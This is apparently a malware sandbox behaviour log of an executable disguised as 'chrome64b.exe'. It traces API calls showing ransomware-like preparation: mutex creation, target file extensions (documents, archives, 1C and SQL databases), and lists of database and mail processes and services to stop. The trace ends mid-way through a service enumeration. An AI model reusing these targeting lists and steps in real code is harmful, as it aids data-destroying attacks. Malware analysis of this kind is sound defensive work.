# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 3 2019 14:51:36 # Log Creation Date: 05.05.2019 11:27:11.587 Process: id = "1" image_name = "chrome64b.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chrome64b.exe" page_root = "0x4d7c0000" os_pid = "0x9b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chrome64b.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x9b4 [0025.691] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0025.692] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0025.692] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0025.692] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0025.692] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0025.693] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0025.694] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0025.695] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0025.696] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0025.696] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0025.696] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0025.696] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0025.696] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0025.696] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0027.148] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0027.149] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0027.149] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0027.149] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0027.149] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0027.149] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0028.030] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0028.030] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0029.942] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0029.942] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0029.942] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0029.942] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0030.028] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0030.028] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0030.028] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0030.028] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0030.204] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0030.204] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0030.204] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0030.205] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0030.205] GetProcessHeap () returned 0x5f0000 [0030.205] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x6040d8 [0030.205] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15049624869) returned 1 [0030.205] GetTickCount () returned 0x17c5f [0030.205] GetCurrentProcessId () returned 0x9b0 [0030.206] GetTickCount () returned 0x17c5f [0030.206] GetTickCount () returned 0x17c5f [0030.206] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x604100 [0030.206] GetVersion () returned 0x1db10106 [0030.207] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x7) returned 0x5f36c0 [0030.207] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x600be0 [0030.207] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x600be0, Size=0x20) returned 0x604150 [0030.207] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604150, Size=0x40) returned 0x6046c0 [0030.207] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x604910 [0030.207] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E08OEMA") returned 0x0 [0030.207] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E08OEMA") returned 0x84 [0030.207] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x5f36c0 | out: hHeap=0x5f0000) returned 1 [0030.207] lstrlenW (lpString="Global\\syncronize_") returned 18 [0030.207] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6046c0 | out: hHeap=0x5f0000) returned 1 [0030.207] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x7) returned 0x5f36c0 [0030.207] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x600be0 [0030.207] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x600be0, Size=0x20) returned 0x604150 [0030.207] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604150, Size=0x40) returned 0x6046c0 [0030.207] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x614918 [0030.208] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E08OEMU") returned 0x0 [0030.208] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E08OEMU") returned 0x88 [0030.208] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x5f36c0 | out: hHeap=0x5f0000) returned 1 [0030.208] lstrlenW (lpString="Global\\syncronize_") returned 18 [0030.208] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6046c0 | out: hHeap=0x5f0000) returned 1 [0030.208] GetVersion () returned 0x1db10106 [0030.208] GetCurrentProcess () returned 0xffffffff [0030.208] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0030.208] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0030.208] CloseHandle (hObject=0x8c) returned 1 [0030.208] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0030.208] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0030.208] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x14) returned 0x5f36c0 [0030.208] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x600be0 [0030.208] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x600be0, Size=0x20) returned 0x604150 [0030.208] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604150, Size=0x40) returned 0x6046c0 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6046c0, Size=0x80) returned 0x6046c0 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6046c0, Size=0x100) returned 0x6046c0 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x34) returned 0x6047c8 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x6007d0 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x6007e0 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x6007f0 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x600be0 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x604808 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x600bf8 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604808, Size=0x8) returned 0x604808 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x600c10 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604808, Size=0x10) returned 0x604808 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x600c28 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x600c40 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604808, Size=0x20) returned 0x604808 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x600c58 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x600c70 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6007d0, Size=0x8) returned 0x6007d0 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6007e0, Size=0x8) returned 0x6007e0 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x604830 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x600c88 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x604840 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x600ca0 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604840, Size=0x8) returned 0x604840 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624938 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604840, Size=0x10) returned 0x604840 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624950 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x604858 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604840, Size=0x20) returned 0x604868 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6007d0, Size=0x10) returned 0x604840 [0030.209] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6007e0, Size=0x10) returned 0x604890 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x6007d0 [0030.209] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x624968 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x6007e0 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x624980 [0030.210] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6007e0, Size=0x8) returned 0x6007e0 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x6048a8 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x624998 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x6048b8 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6249b0 [0030.210] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6048b8, Size=0x8) returned 0x6048b8 [0030.210] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604840, Size=0x20) returned 0x624d20 [0030.210] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604890, Size=0x20) returned 0x624d48 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x604890 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x6249c8 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x604840 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x6249e0 [0030.210] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604840, Size=0x8) returned 0x604840 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x14) returned 0x624d70 [0030.210] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x14) returned 0x624d90 [0030.210] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0030.210] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6046c0 | out: hHeap=0x5f0000) returned 1 [0030.210] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6249f8 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6249f8, Size=0x20) returned 0x604358 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604358, Size=0x40) returned 0x604718 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x80) returned 0x604718 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x100) returned 0x625068 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6249f8 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6249f8, Size=0x20) returned 0x604358 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604358, Size=0x40) returned 0x604718 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x80) returned 0x604718 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x100) returned 0x625170 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x6249f8 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x604718 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a10 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x8) returned 0x604718 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x14) returned 0x604728 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x10) returned 0x604748 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x18) returned 0x604760 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1a) returned 0x604358 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604748, Size=0x20) returned 0x604780 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1c) returned 0x604380 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x16) returned 0x6047a8 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1a) returned 0x6043a8 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x624a28 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x4) returned 0x604718 [0030.221] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40) returned 0x625278 [0030.221] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x8) returned 0x604718 [0030.222] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x3c) returned 0x6252c0 [0030.222] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604718, Size=0x10) returned 0x604748 [0030.222] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x14) returned 0x625308 [0030.222] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x18) returned 0x625328 [0030.222] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604748, Size=0x20) returned 0x625348 [0030.222] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x24) returned 0x625370 [0030.222] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0030.222] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625068 | out: hHeap=0x5f0000) returned 1 [0030.222] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0030.222] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625170 | out: hHeap=0x5f0000) returned 1 [0030.222] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6258f0 [0030.225] EnumServicesStatusExW (in: hSCManager=0x6258f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0030.225] GetLastError () returned 0xea [0030.226] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x6291f0 [0030.226] EnumServicesStatusExW (in: hSCManager=0x6258f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6291f0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6291f0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0030.226] CloseServiceHandle (hSCObject=0x6258f0) returned 1 [0030.229] lstrlenW (lpString="Appinfo") returned 7 [0030.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0030.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0030.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0030.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0030.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0030.229] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0030.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0030.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0030.229] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0030.229] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0030.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0030.229] lstrlenW (lpString="AudioSrv") returned 8 [0030.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0030.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0030.229] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0030.229] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0030.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0030.229] lstrlenW (lpString="BFE") returned 3 [0030.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0030.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0030.230] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0030.230] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0030.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0030.230] lstrlenW (lpString="CryptSvc") returned 8 [0030.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0030.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0030.230] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0030.230] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0030.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0030.230] lstrlenW (lpString="CscService") returned 10 